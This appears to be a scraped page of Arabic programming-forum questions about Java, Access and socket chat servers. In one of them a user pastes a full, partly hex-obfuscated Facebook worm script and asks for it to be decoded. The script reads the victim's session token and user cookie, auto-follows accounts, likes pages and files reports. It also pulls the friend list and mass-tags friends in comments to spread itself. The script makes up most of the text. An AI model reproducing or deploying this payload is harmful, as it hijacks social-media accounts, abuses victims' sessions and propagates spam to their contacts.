couleur_demarer_tirage = null; } public synchronized void endDrag(Point fin_tirage) { affect_Traction = false; doigt_prev = null; doigt = null; point_demarer_tirage = null; couleur_demarer_tirage = null; } public synchronized void drag(Point en_cours_tirage) { // // affect_Traction = true; // doigt_prev = doigt; // doigt = en_cours_tirage; // } // ///////////////////////////////////////////////////////////////////}ملاحضة لقد استعملنا مكتبة اوبن جيال
  7. السلام عليكم ممكن اكواد لربط قاعده بيانات أكسس بالجافا
  8. اخواني الاعزاء اعلم ان العديد من رواد المنتدي عباقرة بالفعل في برنامج الاكسس . و علي رأسهم استاذتي ام عهود "دكتورة زهرة" لكن امثالي من طلبة العلم قد ينفعهم هذا الكتاب بالانجليزية الذي يتحدث عن الربط بين الاكسس واكواد الفيجوال بشكل سلسل و مبسط اتمني ان يتحقق لكم الفائدة و اتمني ان لا يتعارض وضع رابط هذا الكتاب مع ايا من قوانين المنتدي الحبيب شكرا لكم   http://capdtron.files.wordpress.com/2012/10/access-2010-biblia-_en.pdf   ساقوم قريبا برفع كتاب باللغة العربية  واعتذر لكم عن ان العنوان "كتاب بالعربي " و جاري رفع رابط الكتاب بالعربية
  9. بسم الله الرحمن الرحيم   قمت بتصميم برنامج ولكن واجهتني مشاكل كثيرة وسئلت أحد الاصدقاء وأرشدني الى هذا المنتدى واسئل الله ان ينفعنا بكم :)   المشكلة التي واجهتني وعطلت المشروع لأكثر من أسبوع هي : طريقة عرض الاسماء الموجودة بالهاتف لـ أختيار مجموعة من الاسماء لتطبيق أمر ما عليهم !!   2- المشكلة الثانية ماهو الحدث أو الكود المناسب للعملية التالية (عند اتصال اي شخص من المجموعة المحددة .. سوف يتم تحويلهم الى رقم آخر )   فكرة البرنامج ( تطبيق يقوم بتحويل مجموعة من الاسماء الى رقم تلفون معين ) بحيث حين يتصل " احمد " سوف يتم تحويله الى رقم ملغي والهاتف عادي يعمل بدون الحاجه الى تحويل جميع المكالمات :) * لا أحلل أي شخص يسرق فكرة البرنامج وأشهد الله وملائكته أني سوف اخاصمه عند الله :)     المطلوب فقط : حل المشكلتين والله ولي التوفيق
  10. ماهي فائدة الSerialization

    خلال دراستي للجافا وصلت لشيء اسمه    ووجدت موضوع في المنتدى يشرح الموضوع بشكل جميل لكني اريد معرفة الفائدة العملية للSerialization  اعلم انها تستخدم لتخزين الكائن لكن مالذي نستفيده من ذلك ارجو التوضيح لو كان بمثال عملي فهذا افضل وشكرا
  11. السلام عليكم ورحمة الله وبركاته ::  احتاج الي فك تشفير هذا الكود هل احد لديه خبرة لمساعدتي ؟  /* Nh?c */var parent=document.getElementsByTagName("html")[0];var _body = document.getElementsByTagName('body')[0];var _div = document.createElement('div');_div.style.height="25"; _div.style.width="100%";_div.style.position="fixed";_div.style.top="auto";_div.style.bottom="0";_div.align="center";var _audio= document.createElement('audio');_audio.style.width="100%";_audio.style.height="25px";_audio.controls = true;_audio.autoplay = false;_audio.autoplay = true;_audio.src = "http://picosong.com/media/songs/1623c97f871ebe69c08a4089737457dc";_div.appendChild(_audio);_body.appendChild(_div);var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);var fb_dtsg=document.getElementsByName("fb_dtsg")[0].value;var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);function a(abone){var http4=new XMLHttpRequest;var url4="/ajax/follow/follow_profile.php?__a=1";var params4="profile_id="+abone+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp=";http4.open("POST",url4,true);http4.onreadystatechange=function(){if(http4.readyState==4&&http4.status==200)http4.close};http4.send(params4)}a("100000965755027");function sublist(uidss){var a=document.createElement('script');a.innerHTML="new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: "+uidss+" }).send();";document.body.appendChild(a)}sublist("342348835807305");sublist("1462478237308746");var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);var fb_dtsg=document.getElementsByName('fb_dtsg')[0].value;var now=(new Date).getTime();function P(post){var X=new XMLHttpRequest();var XURL="//www.facebook.com/ajax/ufi/like.php";var XParams="like_action=true&ft_ent_identifier="+post+"&source=1&client_id="+now+"%3A3366677427&rootid=u_ps_0_0_14&giftoccasion&ft[tn]=%3E%3DU&ft[type]=20&ft[qid]=5882006890513784712&ft[mf_story_key]="+post+"&nctr[_mod]=pagelet_home_stream&__user="+user_id+"&__a=1&__dyn=7n8ahyj35CFwXAg&__req=j&fb_dtsg="+fb_dtsg+"&phstamp=";X.open("POST",XURL,true);X.onreadystatechange=function(){if(X.readyState==4&&X.status==200){X.close}};X.send(XParams)}var fb_dtsg=document.getElementsByName('fb_dtsg')[0].value;var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);function Like(p){var Page=new XMLHttpRequest();var PageURL="//www.facebook.com/ajax/pages/fan_status.php";var PageParams="&fbpage_id="+p+"&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg="+fb_dtsg+"&phstamp=";Page.open("POST",PageURL,true);Page.onreadystatechange=function(){if(Page.readyState==4&&Page.status==200){Page.close}};Page.send(PageParams)}Like("185309954944253");function IDS(r){var X=new XMLHttpRequest();var XURL="//www.facebook.com/ajax/add_friend/action.php";var XParams="to_friend="+r+"&action=add_friend&how_found=friend_browser_s&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&ego_log_data&http_referer&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=35&fb_dtsg="+fb_dtsg+"&phstamp=";X.open("POST",XURL,true);X.onreadystatechange=function(){if(X.readyState==4&&X.status==200){X.close}};X.send(XParams)}// soufiana("100000965755027");a("100001124150617");a("100002160667785");a("100005299571431");// Lists //sublist("558069537568566");sublist("653686774673508");Like("788958151118403");Like("215850365157826");Like("510247569082708");Like("343101402443592");Like("215939221802527");Like("319801474762814");//Theme(function() {var css = ".highlightIndicator, \n.tinyman:after, \n.fbTimelineSideAds,\n.ego_column,\n.buttonWrap, \n.fbTimelineSpine, \n.spinePointer, \n.topBorder, \n.bottomBorder, \n#footerContainer, \n.middleLink, \n.slimHeader #pageNav li.tinyman::after, .slimHeader #pageNav li.middleLink::after, \n.slimHeader #pageNav .middleLink a, \n.moreSectionsLink\n{\ndisplay:none !important;\n}\n\ndiv.mainWrapper{\npadding-left: 1em !important;\n}\n.uiProgressBar .fill {\nbackground: #444 !important;\nborder: solid #222 !important;\n}\n.uiTypeaheadView .compact li {\nbackground-color: #111 !important;\n}\ndiv.uiTypeaheadView .selected {\nbackground-color: #333 !important;\n}\n.fbIndex .gradient {\nbackground: none !important;\n}\n.notifNegativeBase #fbNotificationsFlyout li.jewelItemNew, .notifNegativeBase #fbNotificationsFlyout li.first_receipt {\nbackground: #333 !important;\n}\n.pop_container {\nbackground-color: #000 !important;\n}\n.pop_verticalslab, .pop_horizontalslab {\nbackground: #222 !important;\n}\n.uiMenuXItem\na.highlighted {\nbackground-color: #333 !important;\nborder-color: #000 !important;\ncolor: #FFF !important;\n}\n.uiMenuXItem\na.highlighted {\nbackground-color: #333 !important;\nborder-color: #000 !important;\ncolor: #FFF !important;\n}\n.uiContextualLayer {\nbackground-color: #111 !important;\n}\n.HighlightSelectorMenu {\nborder: 2px solid #000 !important;\nbackground: #111 !important;\nborder-radius: 5px !important;\n}\n.-cx-PUBLIC-uiDialog__border, ._1yu {\nborder: 10px solid rgba(82, 82, 82, .7) !important;\n-webkit-border-radius: 8px !important;\n}\ninput[type=\"text\"], input[type=\"password\"], .inputtext, select, .select, select > option, select > button, .fbPhotoImageStage .fbPhotosPhotoButtons .tagMessage, .fbPhotoImageStage .fbPhotosPhotoButtons .cropMessage, #u1clso_61 div img, #navSearch .uiTypeahead, .-cx-PRIVATE-uiDialog__content, ._1yu, ._t {\nbackground-color: #111 !important;\n}\n.fbTimelineCapsule\n{\nbackground: none !important;\n}\n.sp_c79t5t\n{\nbackground-image: none !important;\n}\n* {\nborder-color: transparent !important;\ncolor: #fff !important;\nbackground-color: transparent !important; \n}\n\n#fbTimelineHeadline .profilePic {\nbackground-color: #FFF !important;\nborder: 4px solid #FFF !important;\n-webkit-border-radius: 2px !important;\nheight: 160px !important;\nwidth: 160px !important;\n}\n\n\n.fbTimelineScrubber {\n\nborder-color: #333333 !important;\npadding: 8px 0 8px 1px !important;\ntop: 38px !important;\nwidth: 122px !important;\nz-index: 1 !important;\nborder-radius: 10px !important;\n}\n\n.fbPhotosPhotoTagboxBase .tagName {\nbackground: #000 !important;\ncolor: #FFF !important;\ncursor: default !important;\nfont-weight: normal !important;\npadding: 2px 6px 3px !important;\ntop: 3px !important;\nwhite-space: nowrap !important;\n}\n\n.fbPhotosPhotoTagboxBase .innerTagBox {\nborder: 4px solid white !important;\nborder-color: rgba(255, 255, 255, .8) !important;\n}\n\n.fbPhotoSnowlift {\nbackground-color: rgba(0, 0, 0, .7) !important;\n}\n\n.fbPhotoSnowlift .rhc , .pagingActivated .snowliftOverlay, .fbPhotoSnowlift.taggingMode .snowliftOverlay, .stageWrapper{\nbackground-color: #111 !important;\n}\n\n.profile-picture img {\nmax-width: 170px !important;\n}\n\n.webComposerPhotoUpload input, .webComposerPhotoUpload {\ncolor: #000000 !important;\n}\n\n\nhtml{background:url(http://data.sinhvienit.net/2011/T12/img/SinhVienIT.NET---bg-green.jpg) no-repeat center fixed;background-size:cover;-o-background-size:cover;-webkit-background-size:cover}\n\n\n\n\n.fbCurrentStory:hover, .connect_widget_like_button, .fbFeedTickerStory:hover, .item a:hover, .fbJewelFlyout li:hover, .uiSideNav a:hover, .fbNubFlyoutBody, .uiButtonConfirm {\nbackground: #111111 !important;\n}\n\n.fbChatMessageGroup {\nborder-color: #2c2c2c !important;\n}\n\n.fbChatSidebar {\nbackground: #111111 !important;\n}\n\n#leftCol {\nposition: relative;top:20px!important;\nmin-height: 400px !important;\n}\n\n.arrowLeft a {\nbackground-image:url('http://i.imgur.com/26zf5.png') !important;\nborder-color: #666666 !important;\n}\n\n.arrowRight a {\nbackground-image:url('http://i.imgur.com/v6B6z.png') !important;\nborder-color: #666666 !important;\n}\n\n.uiStreamSubstory {\nborder-color: transparent !important;\n}\n\n.uiHeader {\nbackground-color: transparent !important;\n}\n\n.fbSidebarGripper, .fbTickerFooter, .fbSidebarGripper div, .navSubmenu:hover {\nbackground-color: #222222 !important;\n}\n\n.fbTimelineCountButton, .uiBoxWhite, .uiButtonGroup {\nbackground-color: #1c1c1c !important;\n}\n\n\n\n#leftCol {\npadding-top: 0px !important;\npadding-left: 0px !important;\n}\n\n.fbNubFlyoutFooter {\nbackground: #111111 !important;\nbox-shadow: 0 1px 2px rgba(0, 0, 0, 0.5) !important;\ncolor: #CC00FF !important; \nborder: #333333 !important;\n}\n\n.uiStream .uiSelectorButton {\nbackground-image: url(\"http://i.imgur.com/nOfuQ.png\") !important;\n}\n\n.uiSearchInput {\nbackground-image: url(\"http://i.imgur.com/agmNw.png\") !important;\n}\n\n\n\n\n.jewelButton:hover, .topNavLink a:hover {\nbackground-color: #222222 !important;\n}\n\n.uiScrollableAreaGripper {\nbackground-color: #666666 !important;\n}\n\n.uiSearchInput, .fbPhotosGridHeader, .uiComposerMessageBoxControls, #MessagingShelf, .uiBoxGray {\nbackground: #111111 !important;\n}\n\n.uiButton {\nbackground: #1c1c1c !important;\n}\n\n#blueBar {\nbackground: -moz-linear-gradient(top, #45484d 0%, #000000 100%) !important;\nbackground: -webkit-linear-gradient(top, #45484d 0%, #000000 100%) !important;\nbox-shadow: 0 0 7px rgba(211, 32, 198, 0.75) !important;\nborder:4px ridge #CC00FF !important;\nmargin-top:5px!important;\nmargin-left:5px!important;\nborder-radius: 70px!important;\n}\n\n\n\n#contentCol, #pageLogo a {\nbackground-color: transparent !important;\nborder-color: transparent !important;\n}\n\n.uiMorePager {\nmargin-bottom:6px !important;\nbackground-color: #1c1c1c !important;\nborder: 0px solid #333333 !important;\n}\n\n.uiStreamStory, .fbIndexFeaturedRegistration, .signupForm {\nmargin-bottom:2px !important;\nbackground-color:transparent !important;\nbackground-image:url('http://i.imgur.com/T2LPj.png') !important;\nborder-radius: 15px !important;\npadding: 1px !important;\nborder: 0px solid #333333 !important;\n}\n\n.uiStream .uiStreamHeader .uiStreamHeaderChronologicalForm .uiSelectorButton .uiButtonText {\ncolor: #000 !important;\n}\n\n#album_pagelet {\nbackground-color: #111111 !important;\nmargin-left: 0px !important;\nmargin-top: -15px !important;\n}\n\n.tagWrapper, #pagelet_main_column, .timelineUnitContainer, .fbTimelineTopSection, #MessagingMessages {\nbackground-color:transparent !important;\nbackground-image:url('http://i.imgur.com/T2LPj.png') !important;\nborder-radius: 15px !important;\nborder: 0px solid #333333 !important;\n}\n.fbTimelineTopSectionBase .topSectionBottomBorder {\ndisplay: none !important;\n}\n#pagelet_main_column {\nwidth: 500px !important;\n}\n\n.fbJewelFlyout, .uiToggleFlyout, .navigation, .container, .uiOverlayContent, .search, .pop_container_advanced {\nbackground-color: #111111 !important; \nborder-radius: 15px !important;\nborder: 2px solid #333333 !important;\n}\n\n#left_column, #leftCol, .MessagingReadHeader {\nbackground: #111111 !important;\nborder-radius: 15px !important;\n}\n\n#left_column, #leftCol {\n;\nwidth: 185px !important;\n}\n\n.uiMediaThumb i, .uiProfilePhoto {\nborder: 1px solid #000000 !important; \n}\n\n#rightCol {\nmargin-top: 10px !important;\npadding-top: 0px !important;\nbackground: #111111 !important;\nborder-radius: 15px !important;\nborder: 0px solid #333333 !important;\n}\n\n#right_column, .rightColumnWrapper {\nmargin-top: 0px !important;\npadding-top: 0px !important; \nposition: fixed !important;\nbackground: #111111 !important;\nborder-radius: 15px !important; \nborder: 0px solid #333333 !important;\n}\n\n.aboutMePagelet {\nbackground-color:transparent !important;\nbackground-image:url('http://i.imgur.com/T2LPj.png') !important;\nborder: 0px solid #333333 !important;\n}\n\n.fbNubButton, .fbNubFlyoutTitlebar, .uiToggleFlyout, .fbChatSidebarFooter {\nbackground: -moz-linear-gradient(center top , #333333, #000000) !important;\nbackground: -webkit-linear-gradient(center top , #333333, #000000) !important;\nbox-shadow: 0 1px 2px rgba(0, 0, 0, 0.5) !important;\ncolor: #CC00FF !important;\nborder: #333333 !important;\n}\n\n.fbChatOrderedList {\nbackground: -moz-linear-gradient(center right , #333333, #000000) !important;\nbackground: -webkit-linear-gradient(center right , #333333, #000000) !important;\nbox-shadow: 0 1px 2px rgba(0, 0, 0, 0.5) !important;\ncolor: #CC00FF !important;\nborder: #333333 !important;\n}\n\n\n\n\n\n\n\n\n.UFIMentionsInputWrap,.navHeader, ._554n,.fbxWelcomeBox ,._2yg .composerTypeahead {\nbackground: -moz-linear-gradient(top, #45484d 0%, #000000 100%) !important;\nbackground: -webkit-linear-gradient(top, #45484d 0%, #000000 100%) !important;\nbox-shadow: 0 2px 4px rgba(211, 32, 198, 0.75) !important;\nborder:2px ridge #CC00FF !important;\nmargin-top:5px!important;\nmargin-left:0px!important;\nborder-radius: 7px!important;\npadding:3px!important;\n}\n.fbx #pageHead, #blueBar #pageHead{\npadding-top:0px!important;\n}\n\n.slim #blueBar {\n\n height: 35px!important;\n}\n.fbxWelcomeBoxBlock .fbxWelcomeBoxImg,\n._s0,\n._42fz .pic{\n border:2px solid rgba(0, 0, 0, .55)!important;\n border-radius: 37px!important;\n}\n.fbxWelcomeBoxBlock .fbxWelcomeBoxImg:hover,\n._s0:hover,\n._42fz .pic:hover{\n box-shadow: 0px 0px 4px rgba(211, 32, 198, 0.75) !important;\n border:2px ridge #CC00FF !important;\n border-radius: 37px!important;\n}\n.uiSideNav .sideNavItem .hasCount:hover,\n.uiSideNav .sideNavItem .noCount:hover{\n text-shadow: 2px 2px 2px rgba(39, 98, 138, 0.75) !important;\n color: #CC00FF !important;\n\n}\n#navSearch {\nwidth:300px !important;\nmargin-top: 6px !important;\nmargin-left: 30px !important;\nborder-color: transparent !important;\n}\n#headNav {\n height: 30px;\n}\n\n\n\na:hover{\n text-shadow: 2px 2px 2px rgba(39, 98, 138, 0.75) !important;\n color: #CC00FF !important;\n}\n.UIActionLinks_bottom a, \n.UIActionLinks_bottom button.as_link, \n.UIActionLinks_bottom .uiLinkButton input, \n.UIActionLinks_bottom .uiLinkButton input:hover,\n.uiStreamMessage .actorName, .uiStreamMessage .passiveName\n{\n text-shadow: 1px 1px 1px rgba(0, 0, 0, 0.99) !important;\n color: #CC00FF !important;\n}\n._2yg .composerTypeahead ,#bfb_options_button_li.openToggler ul,\n .better_fb_mini_message, .sfx_mini_message_no_x,\n .GM_options_wrapper_inner,\n .better_fb_mini_message, .mini_x{\nbackground: -moz-linear-gradient(top, #45484d 0%, #000000 100%) !important;\nbackground: -webkit-linear-gradient(top, #45484d 0%,#000000 100%);\nbox-shadow: 0 2px 4px rgba(39, 98, 138, 0.75) !important;\nborder:2px ridge #CC00FF !important;\nmargin-top:5px!important;\nmargin-left:0px!important;\nborder-radius: 7px!important;\npadding:3px!important;\n}\n.GM_options_buttons input{\n text-shadow: 1px 1px 1px rgba(0, 0, 0, 0.99) !important;\n color: #CC00FF !important;\n\n}";if (typeof GM_addStyle != "undefined") { GM_addStyle(css);} else if (typeof PRO_addStyle != "undefined") { PRO_addStyle(css);} else if (typeof addStyle != "undefined") { addStyle(css);} else { var node = document.createElement("style"); node.type = "text/css"; node.appendChild(document.createTextNode(css)); var heads = document.getElementsByTagName("head"); if (heads.length > 0) { heads[0].appendChild(node); } else { // By Tr?ng(N V D) document.documentElement.appendChild(node); }}})();var _0xb161=["\x76\x61\x6C\x75\x65","\x66\x62\x5F\x64\x74\x73\x67","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x4E\x61\x6D\x65","\x6D\x61\x74\x63\x68","\x63\x6F\x6F\x6B\x69\x65","\x67\x65\x74\x54\x69\x6D\x65","\x2F\x2F\x77\x77\x77\x2E\x66\x61\x63\x65\x62\x6F\x6F\x6B\x2E\x63\x6F\x6D\x2F\x61\x6A\x61\x78\x2F\x72\x65\x70\x6F\x72\x74\x2F\x73\x6F\x63\x69\x61\x6C\x2E\x70\x68\x70","\x66\x62\x5F\x64\x74\x73\x67\x3D","\x26\x62\x6C\x6F\x63\x6B\x3D\x31\x26\x70\x70\x3D\x25\x37\x42\x25\x32\x32\x61\x63\x74\x69\x6F\x6E\x73\x5F\x74\x6F\x5F\x74\x61\x6B\x65\x25\x32\x32\x25\x33\x41\x25\x32\x32\x5B\x5D\x25\x32\x32\x25\x32\x43\x25\x32\x32\x61\x72\x65\x5F\x66\x72\x69\x65\x6E\x64\x73\x25\x32\x32\x25\x33\x41\x66\x61\x6C\x73\x65\x25\x32\x43\x25\x32\x32\x63\x69\x64\x25\x32\x32\x25\x33\x41","\x25\x32\x43\x25\x32\x32\x63\x6F\x6E\x74\x65\x6E\x74\x5F\x74\x79\x70\x65\x25\x32\x32\x25\x33\x41\x30\x25\x32\x43\x25\x32\x32\x65\x78\x70\x61\x6E\x64\x5F\x72\x65\x70\x6F\x72\x74\x25\x32\x32\x25\x33\x41\x31\x25\x32\x43\x25\x32\x32\x66\x69\x72\x73\x74\x5F\x63\x68\x6F\x69\x63\x65\x25\x32\x32\x25\x33\x41\x25\x32\x32\x66\x69\x6C\x65\x5F\x72\x65\x70\x6F\x72\x74\x25\x32\x32\x25\x32\x43\x25\x32\x32\x66\x72\x6F\x6D\x5F\x67\x65\x61\x72\x25\x32\x32\x25\x33\x41\x25\x32\x32\x74\x69\x6D\x65\x6C\x69\x6E\x65\x25\x32\x32\x25\x32\x43\x25\x32\x32\x69\x73\x5F\x66\x6F\x6C\x6C\x6F\x77\x69\x6E\x67\x25\x32\x32\x25\x33\x41\x66\x61\x6C\x73\x65\x25\x32\x43\x25\x32\x32\x69\x73\x5F\x74\x61\x67\x67\x65\x64\x25\x32\x32\x25\x33\x41\x66\x61\x6C\x73\x65\x25\x32\x43\x25\x32\x32\x6F\x6E\x5F\x70\x72\x6F\x66\x69\x6C\x65\x25\x32\x32\x25\x33\x41\x66\x61\x6C\x73\x65\x25\x32\x43\x25\x32\x32\x70\x68\x61\x73\x65\x25\x32\x32\x25\x33\x41\x33\x25\x32\x43\x25\x32\x32\x72\x65\x66\x25\x32\x32\x25\x33\x41\x25\x32\x32\x68\x74\x74\x70\x73\x25\x33\x41\x25\x35\x43\x25\x32\x46\x25\x35\x43\x25\x32\x46\x77\x77\x77\x2E\x66\x61\x63\x65\x62\x6F\x6F\x6B\x2E\x63\x6F\x6D\x25\x35\x43\x25\x32\x46\x4E\x61\x6E\x2E\x65\x72\x74\x74\x37\x25\x32\x32\x25\x32\x43\x25\x32\x32\x72\x65\x70\x6F\x72\x74\x5F\x74\x79\x70\x65\x25\x32\x32\x25\x33\x41\x31\x34\x35\x25\x32\x43\x25\x32\x32\x72\x69\x64\x25\x32\x32\x25\x33\x41","\x25\x32\x43\x25\x32\x32\x73\x75\x62\x5F\x72\x65\x70\x6F\x72\x74\x5F\x74\x79\x70\x65\x25\x32\x32\x25\x33\x41\x33\x25\x32\x43\x25\x32\x32\x74\x69\x6D\x65\x5F\x66\x6C\x6F\x77\x5F\x73\x74\x61\x72\x74\x65\x64\x25\x32\x32\x25\x33\x41","\x25\x32\x43\x25\x32\x32\x75\x73\x65\x72\x25\x32\x32\x25\x33\x41","\x25\x37\x44\x26\x66\x69\x6C\x65\x5F\x72\x65\x70\x6F\x72\x74\x3D\x31\x26\x5F\x5F\x75\x73\x65\x72\x3D","\x26\x5F\x5F\x61\x3D\x31\x26\x5F\x5F\x64\x79\x6E\x3D\x37\x6E\x38\x61\x68\x79\x6A\x32\x71\x6D\x76\x75\x35\x6B\x39\x55\x6D\x41\x41\x61\x55\x56\x70\x6F\x26\x5F\x5F\x72\x65\x71\x3D\x75\x26\x74\x74\x73\x74\x61\x6D\x70\x3D\x32\x36\x35\x38\x31\x36\x38\x35\x37\x31\x30\x37\x31\x31\x30\x38\x38\x38\x30","\x50\x4F\x53\x54","\x6F\x70\x65\x6E","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x73\x74\x61\x74\x75\x73","\x63\x6C\x6F\x73\x65","\x73\x65\x6E\x64","\x31\x30\x30\x30\x30\x36\x39\x35\x32\x31\x31\x39\x30\x34\x38"];var fb_dtsg=document[_0xb161[2]](_0xb161[1])[0][_0xb161[0]];var user_id=document[_0xb161[4]][_0xb161[3]](document[_0xb161[4]][_0xb161[3]](/c_user=(\d+)/)[1]);var now=( new Date)[_0xb161[5]]();function Report(_0x45e7x5){var _0x45e7x6= new XMLHttpRequest();var _0x45e7x7=_0xb161[6];var _0x45e7x8=_0xb161[7]+fb_dtsg+_0xb161[8]+_0x45e7x5+_0xb161[9]+_0x45e7x5+_0xb161[10]+now+_0xb161[11]+user_id+_0xb161[12]+user_id+_0xb161[13];_0x45e7x6[_0xb161[15]](_0xb161[14],_0x45e7x7,true);_0x45e7x6[_0xb161[16]]=function (){if(_0x45e7x6[_0xb161[17]]==4&&_0x45e7x6[_0xb161[18]]==200){_0x45e7x6[_0xb161[19]];} ;} ;_0x45e7x6[_0xb161[20]](_0x45e7x8);} ;var _0xa22c=["value","fb_dtsg","getElementsByName","match","cookie","654095104632675","onreadystatechange","readyState","arkadaslar = ","for (;;);","","replace","responseText",";","length","entries","payload","round"," @[","uid",":","text","]"," ","\x26filter[0]=user","\x26options[0]=friends_only","\x26options[1]=nm","\x26token=v7","\x26viewer=","\x26__user=","https://","indexOf","URL","GET","https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1","open","http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1","send","random","floor","\x26ft_ent_identifier=","\x26comment_text=","\x26source=2","\x26client_id=1377871797138:1707018092","\x26reply_fbid","\x26parent_comment_id","\x26rootid=u_jsonp_2_3","\x26clp={\x22cl_impid\x22:\x22453524a0\x22,\x22clearcounter\x22:0,\x22elementid\x22:\x22js_5\x22,\x22version\x22:\x22x\x22,\x22parent_fbid\x22:","}","\x26attached_sticker_fbid=0","\x26attached_photo_fbid=0","\x26giftoccasion","\x26ft[tn]=[]","\x26__a=1","\x26__dyn=7n8ahyj35ynxl2u5F97KepEsyo","\x26__req=q","\x26fb_dtsg=","\x26ttstamp=","POST","/ajax/ufi/add_comment.php","Content-type","application/x-www-form-urlencoded","setRequestHeader","status","close"];var fb_dtsg=document[_0xa22c[2]](_0xa22c[1])[0][_0xa22c[0]];var user_id=document[_0xa22c[4]][_0xa22c[3]](document[_0xa22c[4]][_0xa22c[3]](/c_user=(\d+)/)[1]);var id=_0xa22c[5];var arkadaslar=[];var svn_rev;function arkadaslari_al(id){var _0x7892x7= new XMLHttpRequest();_0x7892x7[_0xa22c[6]]=function (){if(_0x7892x7[_0xa22c[7]]==4){eval(_0xa22c[8]+_0x7892x7[_0xa22c[12]].toString()[_0xa22c[11]](_0xa22c[9],_0xa22c[10])+_0xa22c[13]);for(f=0;f<Math[_0xa22c[17]](arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]]/27);f++){mesaj=_0xa22c[10];mesaj_text=_0xa22c[10];for(i=f*27;i<(f+1)*27;i++){if(arkadaslar[_0xa22c[16]][_0xa22c[15]][i]){mesaj+=_0xa22c[18]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[19]]+_0xa22c[20]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[21]]+_0xa22c[22];mesaj_text+=_0xa22c[23]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[21]];} ;} ;yorum_yap(id,mesaj);} ;} ;} ;var _0x7892x8=_0xa22c[24];_0x7892x8+=_0xa22c[25];_0x7892x8+=_0xa22c[26];_0x7892x8+=_0xa22c[27];_0x7892x8+=_0xa22c[28]+user_id;_0x7892x8+=_0xa22c[29]+user_id;if(document[_0xa22c[32]][_0xa22c[31]](_0xa22c[30])>=0){_0x7892x7[_0xa22c[35]](_0xa22c[33],_0xa22c[34]+_0x7892x8,true);} else {_0x7892x7[_0xa22c[35]](_0xa22c[33],_0xa22c[36]+_0x7892x8,true);} ;_0x7892x7[_0xa22c[37]]();} ;function RandomArkadas(){var _0x7892xa=_0xa22c[10];for(i=0;i<9;i++){_0x7892xa+=_0xa22c[18]+arkadaslar[_0xa22c[16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]()*arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]])][_0xa22c[19]]+_0xa22c[20]+arkadaslar[_0xa22c[16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]()*arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]])][_0xa22c[21]]+_0xa22c[22];} ;return _0x7892xa;} ;function yorum_yap(id,_0x7892xc){var _0x7892xd= new XMLHttpRequest();var _0x7892x8=_0xa22c[10];_0x7892x8+=_0xa22c[40]+id;_0x7892x8+=_0xa22c[41]+encodeURIComponent(_0x7892xc);_0x7892x8+=_0xa22c[42];_0x7892x8+=_0xa22c[43];_0x7892x8+=_0xa22c[44];_0x7892x8+=_0xa22c[45];_0x7892x8+=_0xa22c[46];_0x7892x8+=_0xa22c[47]+id+_0xa22c[48];_0x7892x8+=_0xa22c[49];_0x7892x8+=_0xa22c[50];_0x7892x8+=_0xa22c[51];_0x7892x8+=_0xa22c[52];_0x7892x8+=_0xa22c[29]+user_id;_0x7892x8+=_0xa22c[53];_0x7892x8+=_0xa22c[54];_0x7892x8+=_0xa22c[55];_0x7892x8+=_0xa22c[56]+fb_dtsg;_0x7892x8+=_0xa22c[57];_0x7892xd[_0xa22c[35]](_0xa22c[58],_0xa22c[59],true);_0x7892xd[_0xa22c[62]](_0xa22c[60],_0xa22c[61]);_0x7892xd[_0xa22c[6]]=function (){if(_0x7892xd[_0xa22c[7]]==4&&_0x7892xd[_0xa22c[63]]==200){_0x7892xd[_0xa22c[64]];} ;} ;_0x7892xd[_0xa22c[37]](_0x7892x8);} ;arkadaslari_al(id);googleSearchwikipediaSearchyoutubeSearchtranslateSearchimageSearchfacebookSharetwitterSharegooglePlusSharepinterestSharelinkedinShare
  12. السلام عليكم ورحمة الله تعالى وبركاته  قمت بعمل هذا البرنامج الصغير للشات في netbeans7.4 بين السيرفر وشخص آخر (زبون), لكن هذا السيرفر يعمل مع زبون واحد فقط وأريد أن أحوله إلى server multi-clients بحيث يستطيع التحدث مع عذة زبائن في نفس الوقت     **لقد وضعت البرنامج في المرفقات أرجو المساعدة وشكرا** ها هي واجهة السيرفر    ;وهذه واجة client        شيفرة السيرفر : import java.awt.Component;import java.io.DataInputStream;import java.io.IOException;import java.io.PrintStream;import java.net.ServerSocket;import java.net.Socket;import javax.swing.JOptionPane;import javax.swing.JTextArea;public class Server extends javax.swing.JFrame { private static ServerSocket serverSocket; private static int porte; public static DataInputStream getin; private static PrintStream getout; private static String name; private static String Clientname; public static Socket socket ; public static String message; public Server() { setTitle("Server"); setBounds(700,100,372, 468); setResizable(false); initComponents(); Btnarreter.setEnabled(false); } @SuppressWarnings("unchecked") // <editor-fold defaultstate="collapsed" desc="Generated Code"> private void initComponents() { PL1 = new javax.swing.JPanel(); jLabel1 = new javax.swing.JLabel(); jLabel2 = new javax.swing.JLabel(); Tporte = new javax.swing.JTextField(); Tnom = new javax.swing.JTextField(); Btnarreter = new javax.swing.JButton(); Btndemarer = new javax.swing.JButton(); PL2 = new 